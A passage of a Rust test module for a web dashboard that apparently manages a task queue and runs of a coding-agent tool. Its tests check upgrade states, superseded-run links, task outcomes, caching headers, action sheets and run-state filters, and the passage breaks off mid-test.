22562 }
22563
22564 #[test]
22565 fn the_upgrade_button_names_its_destination() {
22566 assert!(
22567 APP_JS.contains("`Update to ${update.to}`"),
22568 "pressing the button should not be a surprise about what it moves to"
22569 );
22570 }
22571
22572 #[test]
22573 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
22574 for stage in ["downloading", "replaced", "parking", "restarting"] {
22575 assert!(
22576 APP_JS.contains(&format!("\"{stage}\"")),
22577 "the phone must be able to tell {stage} apart from the others"
22578 );
22579 }
22580 assert!(APP_JS.contains(".waiting_on"));
22581 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
22586 assert!(APP_JS.contains("reconnects on its own"));
22587 }
22588
22589 #[test]
22590 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
22591 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
22592 ..APP_JS.find("function upgrade(").expect("upgrade")];
22593 assert!(!body.contains(
22594 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
22595 ));
22596 assert!(body.contains("renderUpgradeError();"));
22597 assert!(INDEX_HTML.contains("id=\"upgrade-error\""));
22598 }
22599
22600 #[test]
22601 fn an_overdue_upgrade_eventually_asks_for_a_human() {
22602 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
22605 assert!(APP_JS.contains("function upgradeOverdue("));
22606 }
22607
22608 #[test]
22609 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
22610 assert!(
22611 APP_JS.contains("Updated to ${upgradeInfo.to"),
22612 "the operator who asked for the restart wants to know it worked"
22613 );
22614 }
22615
22616 #[test]
22617 fn an_error_is_visible_from_where_the_button_is() {
22618 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
22623 ..APP_CSS.find(".alert-text").expect(".alert-text")];
22624 assert!(
22625 alert.contains("position: fixed"),
22626 "an error about the thing under your thumb has to be visible from \
22627 where your thumb is: {alert}"
22628 );
22629 assert!(
22630 alert.contains("z-index: 25"),
22631 "above the dock (20) and the run-actions FAB (15), so neither \
22632 buries it: {alert}"
22633 );
22634 assert!(
22635 alert.contains("var(--tap)"),
22636 "and clear of the dock and the home indicator: {alert}"
22637 );
22638 assert!(
22641 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
22642 "the FAB's column stays free: {alert}"
22643 );
22644 }
22645
22646 #[tokio::test]
22647 async fn an_older_attempt_says_what_replaced_it() {
22648 let fx = Fixture::start().await;
22649 let q = fx.queue();
22650 let runs = fx.runs();
22651 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22652 write_run(&runs, first, RunStatus::Stalled);
22653 write_run(&runs, second, RunStatus::Blocked);
22654
22655 let mut t = Task::new(
22656 "one task".to_owned(),
22657 "do it".to_owned(),
22658 PathBuf::from("/repo"),
22659 Source::Human,
22660 );
22661 t.runs = vec![first.to_owned(), second.to_owned()];
22662 q.put(&mut t).expect("put");
22663
22664 let rows = fx.get("/api/runs").await.json();
22668 let by = |short: &str| -> Value {
22669 rows.as_array()
22670 .unwrap()
22671 .iter()
22672 .find(|r| r["short"] == short)
22673 .cloned()
22674 .unwrap_or(Value::Null)
22675 };
22676 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
22677 assert!(
22678 by("bbbb")["superseded_by"].is_null(),
22679 "the latest attempt is not superseded by anything"
22680 );
22681 assert!(APP_JS.contains("run.superseded_by"));
22683 assert!(APP_JS.contains("Superseded by"));
22684 }
22685
22686 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
22687 let mut t = Task::new(
22688 "one task".to_owned(),
22689 "do it".to_owned(),
22690 PathBuf::from("/repo"),
22691 Source::Human,
22692 );
22693 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
22694 t.status = status;
22695 t
22696 }
22697
22698 #[test]
22699 fn source_link_picks_the_page_that_filed_the_task() {
22700 let agent = |node: &str| Source::Agent {
22701 run: "20260904-014455-ab12".to_owned(),
22702 node: node.to_owned(),
22703 };
22704 let chat = source_link(&agent("chat")).expect("chat link");
22705 assert_eq!(chat.kind, "chat");
22706 assert_eq!(chat.id, "20260904-014455-ab12");
22707 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
22708 let run = source_link(&agent("implement")).expect("run link");
22709 assert_eq!(
22710 (run.kind, run.href.as_str()),
22711 ("run", "#/runs/20260904-014455-ab12")
22712 );
22713 assert_eq!(source_link(&Source::Human), None);
22714 assert_eq!(
22715 source_link(&Source::Issue {
22716 number: 3,
22717 repo: "o/r".to_owned()
22718 }),
22719 None
22720 );
22721 let odd = source_link(&Source::Agent {
22722 run: "a b/c".to_owned(),
22723 node: "chat".to_owned(),
22724 })
22725 .expect("link");
22726 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
22727 }
22728
22729 #[test]
22730 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
22731 assert!(
22732 !APP_JS.contains("src.node === \"chat\""),
22733 "inline href rule is back"
22734 );
22735 assert!(
22736 APP_JS.matches("sourceLinkOf(").count() >= 4,
22737 "helper must serve every page"
22738 );
22739 assert!(
22740 APP_JS.matches("openChatLink(").count() >= 3,
22741 "the run page still needs its explicit chat link"
22742 );
22743 assert!(
22744 !APP_JS.contains("const openChat = el("),
22745 "the Queue card duplicates its source label link again"
22746 );
22747 assert!(
22748 APP_JS.contains("metaKids.push(link ? el(\"a\""),
22749 "the task page must link a chat source label too"
22750 );
22751 }
22752
22753 #[test]
22754 fn task_ref_carries_the_source_link_for_a_chat_task() {
22755 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
22756 t.source = Source::Agent {
22757 run: "20260904-014455-ab12".to_owned(),
22758 node: "chat".to_owned(),
22759 };
22760 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
22761 let v = serde_json::to_value(&out).expect("json");
22762 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
22763 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
22764 assert_eq!(v["source_label"], t.source.label());
22765
22766 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
22767 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
22768 .expect("json");
22769 assert!(v["source_link"].is_null(), "{v}");
22770 }
22771
22772 #[test]
22773 fn task_view_serializes_source_link() {
22774 let mut t = Task::new(
22775 "t".to_owned(),
22776 "t".to_owned(),
22777 PathBuf::from("/repo"),
22778 Source::Agent {
22779 run: "20260901-000000-aaaa".to_owned(),
22780 node: "implement".to_owned(),
22781 },
22782 );
22783 t.runs.clear();
22784 let v = serde_json::to_value(TaskView::from(t)).expect("json");
22785 assert_eq!(v["source_link"]["kind"], "run", "{v}");
22786 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
22787 }
22788
22789 #[test]
22790 fn task_view_serializes_urgent_flag() {
22791 let mut t = Task::new(
22792 "t".to_owned(),
22793 "t".to_owned(),
22794 PathBuf::from("/repo"),
22795 Source::Human,
22796 );
22797 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
22798 assert_eq!(v["urgent"], false, "{v}");
22799 t.urgent = true;
22800 let v = serde_json::to_value(TaskView::from(t)).expect("json");
22801 assert_eq!(v["urgent"], true, "{v}");
22802 assert!(APP_JS.contains("task.urgent === true"));
22803 }
22804
22805 #[tokio::test]
22806 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
22807 let fx = Fixture::start().await;
22808 let runs = fx.runs();
22809 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22810 write_run(&runs, old, RunStatus::Blocked);
22811 write_run(&runs, new, RunStatus::Merged);
22812 let mut t = outcome_task(&[old, new], TaskStatus::Done);
22813 fx.queue().put(&mut t).expect("put");
22814
22815 let view = fx.get(&format!("/api/runs/{old}")).await.json();
22816 let task = &view["task"];
22817 assert_eq!(task["status"], "done");
22818 assert_eq!(task["is_latest"], false);
22819 assert_eq!(task["latest"]["short"], "bbbb");
22820 assert_eq!(task["finished_by"]["id"], new);
22821 assert_eq!(task["finished_by"]["outcome"], "merged");
22822 assert_eq!(task["closed_by_hand"], false);
22823 assert_eq!(view["status"], "blocked", "the run keeps its own status");
22824 assert!(APP_JS.contains("finished_by"));
22825 assert!(APP_JS.contains("superseded by run"));
22826 }
22827
22828 #[tokio::test]
22829 async fn the_latest_run_reports_a_held_task_without_a_successor() {
22830 let fx = Fixture::start().await;
22831 let runs = fx.runs();
22832 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22833 write_run(&runs, old, RunStatus::Stalled);
22834 write_run(&runs, new, RunStatus::Blocked);
22835 let mut t = outcome_task(&[old, new], TaskStatus::Held);
22836 fx.queue().put(&mut t).expect("put");
22837
22838 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
22839 assert_eq!(task["status"], "held");
22840 assert_eq!(task["is_latest"], true);
22841 assert!(task["latest"].is_null());
22842 assert!(task["finished_by"].is_null());
22843 assert_eq!(task["closed_by_hand"], false);
22844 }
22845
22846 #[tokio::test]
22847 async fn a_direct_run_has_no_task_outcome() {
22848 let fx = Fixture::start().await;
22849 let runs = fx.runs();
22850 let id = "20260901-000000-aaaa";
22851 write_run(&runs, id, RunStatus::Blocked);
22852 let view = fx.get(&format!("/api/runs/{id}")).await.json();
22853 assert!(view["task"].is_null());
22854 }
22855
22856 #[test]
22857 fn task_outcome_does_not_guess_a_finishing_run() {
22858 let a = "20260901-000000-aaaa";
22859 let b = "20260901-000000-bbbb";
22860 let c = "20260901-000000-cccc";
22861 let dir = tempfile::tempdir().expect("tempdir");
22862 write_run(dir.path(), a, RunStatus::Blocked);
22863 write_run(dir.path(), b, RunStatus::VerifiedNoop);
22864 let read = |id: &str| read_run(dir.path(), id).ok();
22866 let t = outcome_task(&[a, b, c], TaskStatus::Done);
22869 let out = task_outcome(&t, a, 3, read);
22870 assert!(out.finished_by.is_none());
22871 assert!(out.closed_by_hand);
22872 let latest = out.latest.expect("latest");
22873 assert_eq!(latest.id, c);
22874 assert_eq!(latest.status, None);
22875 assert_eq!(latest.outcome, "record unreadable");
22876
22877 write_run(dir.path(), c, RunStatus::Ready);
22879 let t = outcome_task(&[a, c], TaskStatus::Done);
22880 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
22881 assert_eq!(out.finished_by.expect("finisher").id, c);
22882 assert!(!out.closed_by_hand);
22883
22884 let t = outcome_task(&[a, b, a], TaskStatus::Held);
22886 assert!(task_outcome(&t, a, 3, read).is_latest);
22887 }
22888
22889 #[tokio::test]
22890 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
22891 let fx = Fixture::start().await;
22896 let q = fx.queue();
22897 let runs = fx.runs();
22898 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
22899 write_run(&runs, first, RunStatus::Blocked);
22900 write_run(&runs, second, RunStatus::Merged);
22901
22902 let mut t = Task::new(
22903 "one task".to_owned(),
22904 "do it".to_owned(),
22905 PathBuf::from("/repo"),
22906 Source::Human,
22907 );
22908 t.runs = vec![first.to_owned(), second.to_owned()];
22909 q.put(&mut t).expect("put");
22910
22911 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
22912 assert_eq!(earlier["superseded_by"], "dddd");
22913 assert_eq!(earlier["latest_attempt"]["id"], second);
22914 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
22915 assert_eq!(
22916 earlier["latest_attempt"]["resolved"], true,
22917 "the run that replaced it landed, so this one reads as settled"
22918 );
22919
22920 let later = fx.get(&format!("/api/runs/{second}")).await.json();
22921 assert!(
22922 later["superseded_by"].is_null(),
22923 "the latest attempt is not superseded by anything"
22924 );
22925 assert!(
22926 later["latest_attempt"].is_null(),
22927 "the latest attempt has no later attempt of its own"
22928 );
22929
22930 assert!(APP_JS.contains("run.latest_attempt"));
22937 assert!(APP_JS.contains("data-superseded"));
22938 assert!(APP_JS.contains("#/runs/${latest.id}"));
22939 }
22940
22941 #[tokio::test]
22942 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
22943 let fx = Fixture::start().await;
22949 let q = fx.queue();
22950 let runs = fx.runs();
22951 let (a, b, c) = (
22952 "20260901-000000-aaaa",
22953 "20260901-000000-bbbb",
22954 "20260901-000000-cccc",
22955 );
22956 write_run(&runs, a, RunStatus::Blocked);
22957 write_run(&runs, b, RunStatus::Blocked);
22958 write_run(&runs, c, RunStatus::Merged);
22959
22960 let mut t = Task::new(
22961 "retried twice".to_owned(),
22962 "do it".to_owned(),
22963 PathBuf::from("/repo"),
22964 Source::Human,
22965 );
22966 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
22967 q.put(&mut t).expect("put");
22968
22969 let view = fx.get(&format!("/api/runs/{a}")).await.json();
22970 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
22971 assert_eq!(
22972 view["latest_attempt"]["id"], c,
22973 "the chain's current head, not the intermediate Blocked retry"
22974 );
22975 assert_eq!(view["latest_attempt"]["resolved"], true);
22976
22977 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
22978 assert_eq!(mid["latest_attempt"]["id"], c);
22979 assert_eq!(mid["latest_attempt"]["resolved"], true);
22980 }
22981
22982 #[tokio::test]
22983 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
22984 let fx = Fixture::start().await;
22985 let q = fx.queue();
22986 let runs = fx.runs();
22987
22988 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
22991 write_run(&runs, still_blocked_a, RunStatus::Blocked);
22992 write_run(&runs, still_blocked_b, RunStatus::Blocked);
22993 let mut t1 = Task::new(
22994 "still stuck".to_owned(),
22995 "do it".to_owned(),
22996 PathBuf::from("/repo"),
22997 Source::Human,
22998 );
22999 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
23000 q.put(&mut t1).expect("put");
23001 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
23002 assert_eq!(view1["latest_attempt"]["resolved"], false);
23003 assert_eq!(view1["latest_attempt"]["status"], "blocked");
23004 assert_eq!(view1["latest_attempt"]["done"], true);
23005
23006 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
23008 write_run(&runs, run_a, RunStatus::Blocked);
23009 write_run(&runs, run_b, RunStatus::Implementing);
23010 let mut t3 = Task::new(
23011 "retrying".to_owned(),
23012 "do it".to_owned(),
23013 PathBuf::from("/repo"),
23014 Source::Human,
23015 );
23016 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
23017 q.put(&mut t3).expect("put");
23018 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
23019 assert_eq!(view3["latest_attempt"]["id"], run_b);
23020 assert_eq!(view3["latest_attempt"]["resolved"], false);
23021 assert_eq!(view3["latest_attempt"]["done"], false);
23022
23023 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
23028 write_run(&runs, noop_a, RunStatus::Blocked);
23029 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
23030 let mut t2 = Task::new(
23031 "claims done".to_owned(),
23032 "do it".to_owned(),
23033 PathBuf::from("/repo"),
23034 Source::Human,
23035 );
23036 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
23037 q.put(&mut t2).expect("put");
23038 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
23039 assert_eq!(
23040 view2["latest_attempt"]["resolved"], false,
23041 "an unverified no-op claim must not read as a confirmed finish"
23042 );
23043
23044 assert!(APP_JS.contains("latest.resolved"));
23047 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
23050 assert!(APP_JS.contains("Latest attempt: "));
23051 assert!(APP_JS.contains("in flight"));
23052 assert!(APP_JS.contains("not resolved"));
23053 }
23054
23055 #[tokio::test]
23056 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
23057 let fx = Fixture::start().await;
23058 let js = fx.get("/app.js").await;
23064 assert_eq!(js.status, 200);
23065 let tag = js
23066 .header("etag")
23067 .expect("an etag to revalidate against")
23068 .to_owned();
23069 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
23070 assert_eq!(
23071 js.header("cache-control"),
23072 Some("no-cache, must-revalidate"),
23073 "the phone has to ask every time"
23074 );
23075
23076 let again = fx
23079 .get_with("/app.js", &[("if-none-match", tag.as_str())])
23080 .await;
23081 assert_eq!(
23082 again.status, 304,
23083 "a deck it already has costs one round trip"
23084 );
23085 assert!(again.body.is_empty(), "304 carries no body");
23086
23087 let weak = fx
23090 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
23091 .await;
23092 assert_eq!(weak.status, 304);
23093 let stale = fx
23094 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
23095 .await;
23096 assert_eq!(stale.status, 200, "an older build must be replaced");
23097 assert!(stale.body.contains("renderRunActions"));
23098 }
23099
23100 #[test]
23101 fn the_task_detail_has_an_actions_fab_and_sheet() {
23102 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
23103 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
23104 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
23105 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
23107 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
23108 assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
23110 assert!(APP_JS.contains("renderTaskActions(null);"));
23111 let sheet = APP_JS
23113 .find("function renderTaskActions")
23114 .expect("sheet renderer");
23115 let body = &APP_JS[sheet..sheet + 3000];
23116 assert!(body.contains("changePriority("));
23117 assert!(body.contains("openTaskEdit(task)"));
23118 assert!(body.contains("renderTaskHoldBox(host"));
23119 assert!(body.contains("renderTaskDoneBox(host"));
23120 assert!(body.contains("renderTaskDeleteBox(host"));
23121 assert!(APP_JS.contains("API.priority(id)"));
23122 assert!(APP_JS.contains("API.deleteTask(id)"));
23123 assert!(APP_JS.contains("location.hash = \"#/queue\""));
23125 assert!(APP_JS.contains("$(\"task-actions-error\")"));
23127 }
23128
23129 #[test]
23130 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
23131 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
23132 let actions = INDEX_HTML
23133 .find("id=\"run-actions-box\"")
23134 .expect("actions box");
23135 assert!(task < actions, "the task entry comes first in the sheet");
23136 assert!(APP_JS.contains("renderRunTaskEntry"));
23137 assert!(APP_JS.contains("\"Open task \""));
23138 assert!(APP_JS.contains("started directly, no task"));
23140 assert!(APP_JS.contains("sheet-task-link"));
23141 assert!(APP_JS.contains("task-chip-link"));
23142 }
23143
23144 #[test]
23145 fn the_deck_never_sends_the_operator_to_a_terminal() {
23146 assert!(
23149 !APP_JS.contains("Run `magi fold` first"),
23150 "the deck must offer the fold, not prescribe a shell command"
23151 );
23152 assert!(APP_JS.contains("foldRun:"));
23153 assert!(APP_JS.contains("resumeRun:"));
23154 assert!(APP_JS.contains("renderRunActions"));
23155
23156 assert!(APP_JS.contains("armedFold"));
23158 assert!(APP_JS.contains("Yes, fold worktrees"));
23159
23160 assert!(APP_JS.contains("can no longer be resumed"));
23163 }
23164
23165 #[test]
23166 fn a_finished_run_explains_itself_with_its_own_last_line() {
23167 assert!(
23173 !APP_JS.contains("collapsed on agent quota"),
23174 "a stall must not be explained by a cause the deck did not check"
23175 );
23176 assert!(
23177 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
23178 "and a block must not offer a guess with an `or` in it"
23179 );
23180
23181 assert!(
23185 APP_JS.contains("setText(r.event, run.event || \"\")"),
23186 "the run's last line is rendered unconditionally"
23187 );
23188 assert!(
23189 !APP_JS.contains("moving && run.event"),
23190 "and never gated on the run still moving"
23191 );
23192
23193 assert!(APP_JS.contains("lost to quota"));
23195 }
23196
23197 #[test]
23219 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
23220 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
23221 let shapes_body_start =
23222 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
23223 let shapes_close = APP_JS[shapes_body_start..]
23224 .find("].map(")
23225 .expect("the shape list is closed by its done-computing .map(...)")
23226 + shapes_body_start;
23227 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
23228
23229 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
23230 for entry in shapes_src.split('{').skip(1) {
23231 let waiting = entry.contains("waiting: true");
23232 let dead = entry.contains("live: \"dead\"");
23233 let status_at =
23234 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
23235 let status_end = entry[status_at..]
23236 .find('"')
23237 .expect("the status string is closed")
23238 + status_at;
23239 let parked = entry.contains("display_status: \"parked\"");
23240 shapes.push((
23241 waiting,
23242 entry[status_at..status_end].to_string(),
23243 dead,
23244 parked,
23245 ));
23246 }
23247 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
23248
23249 let done_rule_marker = "done: !";
23253 let done_rule_at = APP_JS[shapes_close..]
23254 .find(done_rule_marker)
23255 .expect("the done rule follows the shape list")
23256 + shapes_close
23257 + done_rule_marker.len();
23258 let includes_at = APP_JS[done_rule_at..]
23259 .find(".includes(shape.status)")
23260 .expect("the done rule ends in .includes(shape.status)")
23261 + done_rule_at;
23262 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
23263 .trim()
23264 .trim_start_matches('[')
23265 .trim_end_matches(']')
23266 .split(',')
23267 .map(|s| s.trim().trim_matches('"'))
23268 .filter(|s| !s.is_empty())
23269 .collect();
23270
23271 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
23272 .into_iter()
23273 .map(|(waiting, status, dead, parked)| {
23274 let done = !not_done.contains(&status.as_str());
23275 (waiting, status, dead, parked, done)
23276 })
23277 .collect();
23278
23279 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
23283 if waiting {
23284 return "waiting";
23285 }
23286 if dead
23287 && !parked
23288 && !matches!(
23289 status,
23290 "merged"
23291 | "ready"
23292 | "stalled"
23293 | "blocked"
23294 | "failed"
23295 | "verified_noop"
23296 | "superseded"
23297 | "already_in_base"
23298 )
23299 {
23300 return "stale";
23301 }
23302 match status {
23303 "merged" | "ready" => "landed",
23304 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
23305 | "already_in_base" => "ended",
23306 _ => "flight",
23307 }
23308 }
23309
23310 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
23313 match filter_key {
23314 "active" => !done,
23315 "flight" => !done && !waiting && !dead,
23316 "stale" => !done && !waiting && dead,
23317 "waiting" => waiting,
23318 "done" => done,
23319 "all" => true,
23320 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
23321 }
23322 }
23323
23324 let compatible = |section: &str, filter_key: &str| {
23325 shapes.iter().any(|(waiting, status, dead, parked, done)| {
23326 run_section(*waiting, status, *dead, *parked) == section
23327 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
23328 })
23329 };
23330
23331 let expected = [
23336 ("waiting", [true, false, false, true, true, true]),
23337 ("stale", [true, false, true, false, false, true]),
23338 ("flight", [true, true, false, false, false, true]),
23339 ("landed", [false, false, false, false, true, true]),
23340 ("ended", [false, false, false, false, true, true]),
23341 ];
23342 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
23343
23344 for (section, wants) in expected {
23345 for (filter_key, want) in filter_keys.iter().zip(wants) {
23346 assert_eq!(
23347 compatible(section, filter_key),
23348 want,
23349 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
23350 );
23351 }
23352 }
23353
23354 assert!(
23357 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
23358 );
23359 assert!(APP_JS.contains(
23360 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
23361 ));
23362 assert!(APP_JS.contains(
23363 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
23364 ));
23365 }
23366
23367 #[tokio::test]
23368 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
23369 let dir = tempfile::tempdir().expect("tempdir");
23373 let explicit = dir.path().join("not-a-checkout");
23374 std::fs::create_dir_all(&explicit).expect("create dir");
23375 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
23376
23377 let missing = dir.path().join("does-not-exist-at-all");
23378 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
23379 }
23380
23381 #[test]
23382 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
23383 assert!(APP_JS.contains("function statsDonutArcs"));
23384 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
23385 assert!(APP_JS.contains("function statusInBucket"));
23387 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
23388 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
23389 let buckets = [
23390 "merged",
23391 "ready",
23392 "in_progress",
23393 "blocked",
23394 "failed",
23395 "verified_noop",
23396 "superseded",
23397 "stalled",
23398 ];
23399 for key in buckets {
23400 let var = format!("--verdict-{key}:");
23401 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
23403 assert!(
23404 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
23405 "{key}"
23406 );
23407 }
23408 }
23409
23410 #[tokio::test]
23411 async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
23412 let dir = tempfile::tempdir().expect("tempdir");
23413 let queue = Queue::at(dir.path().join("queue"));
23414 let talks = Talks::at(dir.path().join("talks"));
23415 std::fs::create_dir_all(queue.root()).unwrap();
23416 std::fs::create_dir_all(talks.root()).unwrap();
23417
23418 std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
23420 std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
23421
23422 let mut task = Task::new(
23424 "title".into(),
23425 "inst".into(),
23426 PathBuf::from("/repo"),
23427 Source::Human,
23428 );
23429 task.id = "20261019-123456-abcd".into();
23430 std::fs::write(
23432 queue.path_of(&task.id),
23433 serde_json::to_string(&task).unwrap(),
23434 )
23435 .unwrap();
23436
23437 let talk_id = "20261019-234567-cdef";
23438 seed_talk_at(&talks, talk_id, "open");
23439
23440 assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
23442 assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
23443
23444 assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
23446 assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
23447 }
23448
23449 #[tokio::test]
23450 async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
23451 let home = tempfile::tempdir().unwrap();
23452 let ui = delta_test_ui(home.path());
23453 std::fs::write(ui.queue.root(), "not a directory").unwrap();
23455 std::fs::write(ui.talks.root(), "not a directory").unwrap();
23456 assert!(
23457 questions_list(State(ui.clone()))
23458 .await
23459 .unwrap()
23460 .0
23461 .is_empty()
23462 );
23463 assert!(
23464 question_origins(State(ui.clone()))
23465 .await
23466 .unwrap()
23467 .0
23468 .is_empty()
23469 );
23470 let mut question = Question::new(
23471 "run-history".into(),
23472 "review".into(),
23473 "seat".into(),
23474 "Useful question".into(),
23475 "Useful detail".into(),
23476 vec![],
23477 );
23478 ui.questions.put(&mut question).unwrap();
23479 let core = questions_core(State(ui.clone())).await.unwrap().0;
23480 assert_eq!(core.len(), 1);
23481 assert_eq!(core[0].question.summary, "Useful question");
23482 assert!(!core[0].can_consult_chat);
23483 assert!(core[0].origin_chat.is_none());
23484 assert_eq!(core[0].record_revision, question_record_revision(&question));
23485 assert!(question_origins(State(ui.clone())).await.is_err());
23486 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
23487 }
23488
23489 #[tokio::test]
23490 async fn question_origins_resolve_typed_links_without_expanding_consultation() {
23491 let home = tempfile::tempdir().unwrap();
23492 let ui = delta_test_ui(home.path());
23493 let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
23494 let mut parent = Task::new(
23495 "parent".into(),
23496 "body".into(),
23497 PathBuf::from("/repo"),
23498 Source::Agent {
23499 run: chat.clone(),
23500 node: crate::queue::CHAT_NODE.into(),
23501 },
23502 );
23503 parent.id = "parent-task".into();
23504 parent.runs = vec!["parent-run".into()];
23505 ui.queue.put(&mut parent).unwrap();
23506 let mut previous = parent;
23507 for generation in 1..=2 {
23508 let mut child = Task::new(
23509 "child".into(),
23510 "body".into(),
23511 PathBuf::from("/repo"),
23512 Source::Human,
23513 );
23514 child.id = format!("child-task-{generation}");
23515 child.runs = vec![format!("child-run-{generation}")];
23516 child.followup = Some(crate::queue::FollowUp {
23517 origin_task: Some(previous.id.clone()),
23518 run: previous.runs[0].clone(),
23519 pr: String::new(),
23520 findings: vec![],
23521 generation,
23522 });
23523 ui.queue.put(&mut child).unwrap();
23524 previous = child;
23525 }
23526 let mut collision = Task::new(
23529 "collision".into(),
23530 String::new(),
23531 PathBuf::from("/repo"),
23532 Source::Human,
23533 );
23534 collision.id = "collision-task".into();
23535 collision.runs = vec![previous.id.clone()];
23536 ui.queue.put(&mut collision).unwrap();
23537 let mut questions = Vec::new();
23538 for (node, reference, expected, eligible) in [
23539 (crate::triage::NODE, previous.id.as_str(), true, false),
23540 (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
23541 ("review", previous.runs[0].as_str(), true, true),
23542 (
23543 crate::bump::NOTICE_NODE,
23544 previous.runs[0].as_str(),
23545 true,
23546 false,
23547 ),
23548 ("review", previous.id.as_str(), false, false),
23550 (crate::triage::NODE, previous.runs[0].as_str(), false, true),
23551 ("review", "unrelated", false, false),
23552 ] {
